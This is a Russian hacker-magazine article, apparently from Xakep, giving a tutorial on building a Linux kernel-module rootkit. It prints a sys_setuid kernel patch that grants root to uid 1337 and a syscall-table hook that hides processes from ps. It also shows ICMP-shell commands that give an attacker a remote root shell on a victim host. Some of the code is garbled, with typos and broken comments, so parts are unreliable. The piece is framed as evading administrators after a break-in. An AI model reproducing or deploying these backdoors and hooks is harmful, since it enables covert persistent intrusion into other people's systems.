Давай рассмотрим команды, которые нам понадобятся для LKM.

gcc -c tooxkit.c -o tooxkit.o

Откомпилировали, теперь подключаем..

— insmod

Загрузить модуль в систему.

rootkit# insmod tooxkit.o

Загрузили ранее откомпиленный модуль…

— lsmod

Данная команда показывает подключенные модули ядра:

rootkit# lsmod

Module Size Used_ by
tooxkit 31337 0
processor 9008 0
…. …. ….

Итак, мы увидели три колонки «Module», «Size» и «Used by» — «Название модуля», «Размер», «Кем используется». Все, в приницпе, ясно. tooxkit — палевный LKM-руткит, запущенный из под root’a (нулевой уид) с размером 31337. 

— rmmod

Данная команда выгружает модули ядра

rootkit# rnmod tooxkit

C подключениями/отключениями/и т.д. модулей ядра мы разобрались. Пока мы с тобой баловались с протрояниванием системных бинарников, я решил рассказть о более продвинутом обмане ОС на уровне ядра. Мы будем перехватывать системные вызовы к различным программам типа
ls, ps, netstat и т.д. — администратору придется изрядно попотеть, чтобы обнаружить вторжение в систему.

Ядерные руткиты работают по принципу:

— подгрузить свой модуль
— перехватить системный вызов пользователя
— не показывать юзеру то, что мы пытаемся скрыть,
в том числе и сам руткитовый модуль

А теперь поясню более популярно. Вот, например, администратор заподозрил что-то неладное, поэтому решил пошарить в системе (нами был установлен процесс «tooxkit», который мы удачно скрыли перехватом).
Мы написали LKM, который перехватывает системные вызовы ко всем важным командам (включая ps). Админ отдал команду ps, но в списке процессов все было чисто — процесс «tooxkit» не был обнаружен.

Простейшую технику перехвата системных вызовов можно прочитать в статье «Weakening the Linux Kernel» — во Phrack’e, номер #54. 

Рутовая лазейка

Чуть выше мы с тобой троянили ps, но процесс оставался
видимым в каталоге /proc. Сейчас я приведу несколько примеров троянизации ядра, которые будут предоставлять нам доступ к командному интерпретатору с
привилегиями root, а также троянизацию некоторых системных утилит путем системных перехватов. Начнем с root-лазейки, которая изменит вызов sys_setuid до setuid(0) пользователю с уидом равным 1337, дав ему
определенные возможности во взломанной системе. Изменения будут происходить в самом ядре — модифицируем sys.c, а именно функцию sys_setuid, которая отвечает за «раздачу
привилегий».

o-// лазейка к root-привелегиям
\\-o
asmlinkage int sys_setuid*uid_t uid)
{
int old_euid = current ->euid;
int old_ruid, old_suid, new_ruid;
old_ruid = new_ruid = currnet ->uid
old_suid = currnet->suid;
/*
Начинаем троянизировать ядро /*
if (current->euid == 1337)
new_ruid = current->euid = current -> suid = current ->fsuid = uid;
/*
Окей… 😉 /*
else if *capavle(CAP_SETUID))
……….. и т.д и т.п………..
o-//
лазейка к root-привелегим \\-o

Еще одну лазейку, только LKM мы рассматривали выше.

Процессы

Теперь давай скроем процессы… Скрывать мы будем перехватом системных вызовов — запросы к ps будут передаваться
совершенно левой функции tooxkit’a. Немного полазив в
Интернете в поиске информации о перехвате запросов, я нашел интересный и подходящий код, который выдавал фейк информацию о ps:

o-// перехват запросов к ps
\\-o
Linux Kernel Module
#include <linux/module.h>
#include <linux/kernel.h>
#include <sys/syscall.h>
/* linux ps fake utility.
*
* if fake ps doesn’t work, try below SYS_CALLS
*
* 1. SYS_rt_sigaction
* 2. SYS_rt_sigprocmask
* 3. SYS_clone
*
* the main hook function is fakepid(); this function try to
* hook SYS_call = SYS_waitpid, then programm print some inte
* resting message to the screen 🙂
*
* (c) by stan [unl0ck team] 2004
*/
extern void *sys_call_table[]; /*
указываем на таблицу системных вызовов
/*
int (*origpid)(const char *path); 
int fakepid(const char *path)
{
printk(«No proccess found!»); /*
при обращении к утилите ps, она выводит, что процессов в системе нет как таковых
/*
return 0;
}
int init_module(void) /*
что будем делать при загрузке модуля
/*
{
origpid = sys_call_table[SYS_waitpid];
sys_call_table[SYS_waitpid] = fakepid;
printk(«Module successfully loaded!»);
return(0);
}
void cleanup_module(void) /*
что будем делать при выгрузке модуля /*
{
sys_call_table[SYS_waitpid] = origpid;
printk(«Module successfully unloaded!»);
}
o-//
перехват запросов к ps
\\-o

Прочитав внимательно исходник ты поймешь принцип перехватов. 

Скрыв локально соединение, я чуть не забыл про удаленное… Ведь администратор может просто просканировать свою систему nmap’ом или другим сетевым сканером. Для этого удобнее всего использовать низкоуровневые сокеты — RAW-sockets, например, при
отсылке определенного пакета бэкдор в систему будет открываться, но это я разжевывать не буду, лишь покажу очень удобный пример получения рут-шелла с помощью ICMP-пакетов и программы ICMP-shell:

ICMP-shell manual

Во-первых, программа работает при помощи протокола ICMP (ну естественно), в ICMP-пакеты «втуливаются» наши команды, а серверная часть их обрабатывает и выполняет. Это достаточно удобно, так как ICMP-пакеты почти всегда обрабатываются сервером (конечно, если файрвол не режет все icmp-пакеты):

Как это выглядит на практике:

// Запускаем ICMP-shell на сервере c
привилегиями root, так как он использует RAW-сокеты.

server# ishd -i 31337 -t 8
//
Запустили. идентификатор — 31337, тип ICMP-пакета — 8 (echo). Идентификатор нужен
//
для того, чтобы серверная часть ICMP-шелла распознавала пакеты хакера.

// Теперь запускается клиентская часть:
client# ish -i 31337 -t 8 victim.org
Connecting to victim.org…done.

// Узнаем, «кто мы»:
#whoami 
root

Заключение

Я рассказал тебе достаточно много из того, что даст тебе возможность написать свой собственный руткит (естественно, со знаниями
Си). Еще раз скажу — я не хотел повторяться, так как в статье Форба
(журнал «Xakep», номер #069 — статья «Вооружись своим руткитом») и Криса Касперского (журнал «Хакер», номер #077 — статья «Поиграем с туксом в прятки») написано достаточно — обход проблем с файрволом, маскировка твоего соединения при помощи net toolz, скрытие процессов,
встройка бэкдора, стелсирование на уровне ядра. Вот и все
мои дополнения, которыми я хотел с тобой поделиться. Также я
настоятельно не рекомендую писать руткит методом «Copy & Paste», так как это будет «лол-руткит», так что для завершения идеи написания руткита тебе придется хоть немного пошевелить мозгами, разобраться с написанием модулей, а также полистать
дополнительную литературу, которую я привел ниже :). Буду рад, если моя статья кому-то действительно помогла :).

Дополнительная литература

Дополнительная литература про написание руткитов и их обзора:

Выбери свой руткит (обзор *nix-руткитов)
|Автор: Forb| журнал «Xakep», номер #069 http://www.xakep.ru/articles/magazine/2004.asp

Вооружись своим руткитом (написание Linux-руткита)
|Автор: Forb| журнал «Хакер», номер #071 http://www.xakep.ru/articles/magazine/2004.asp

Поиграем с туксом в прятки (стелс-технолгии на уровне ядра в Linux)
|Автор: Крис Касперски| журнал «Хакер», номер #077
http://www.xakep.ru/articles/magazine/2005.asp

Системный маскарад (написание простейшего руткита на perl)
|Автор: Юрий Гольцев| журнал «Хакер», номер #080
http://www.xakep.ru/articles/magazine/2005.asp

Кошмарное ПО (обзор руткитов для windows)
|Автор: Петя и Волк | журнал «Хакер» номер #077
http://www.xakep.ru/articles/magazine/2005.asp

Затроянивание sshd — I и II часть (название говорит само за себя)
|Автор: Satir| Cyber Lords Community http://cyberlords.net/

Attacking OpenBSD with LKM — I и II часть (написание LKM-руткитов под OpenBSD)
|Автор: __blf| Rush Security Team http://rst.void.ru/

Weakening the Linux Kernel (методы стелсирования на уровне ядра, лазейка в ядрах)
|Автор: Solar Disigner| e-zine «Phrack», номер #54 http://phrack.org/
и другие номера phrack’a — самый истинно-хакерский e-zine! 😉

Ссылки по теме:

http://rootkit.com/ — огромная коллекция троянов, руткитов и прочих вкусностей…
http://linux.kernel.org/ — исходные коды ядра Linux’a
http://peter.elukc.com/code/unix/c/icmp-shell/
— программа ICMP-шелл, которую мы упоминали в статье.
http://google.ru/ — без комментариев ;))

P.S: Все информация предоставлена в исключительно ознакомительных целях и является пищей для размышления 😉

Оставить мнение

Check Also

Досмотр файлов: как защитить свои данные на смартфоне при пересечении границы

Мы часто пишем про абстрактные способы взлома и защиты мобильных устройств. При этом подра…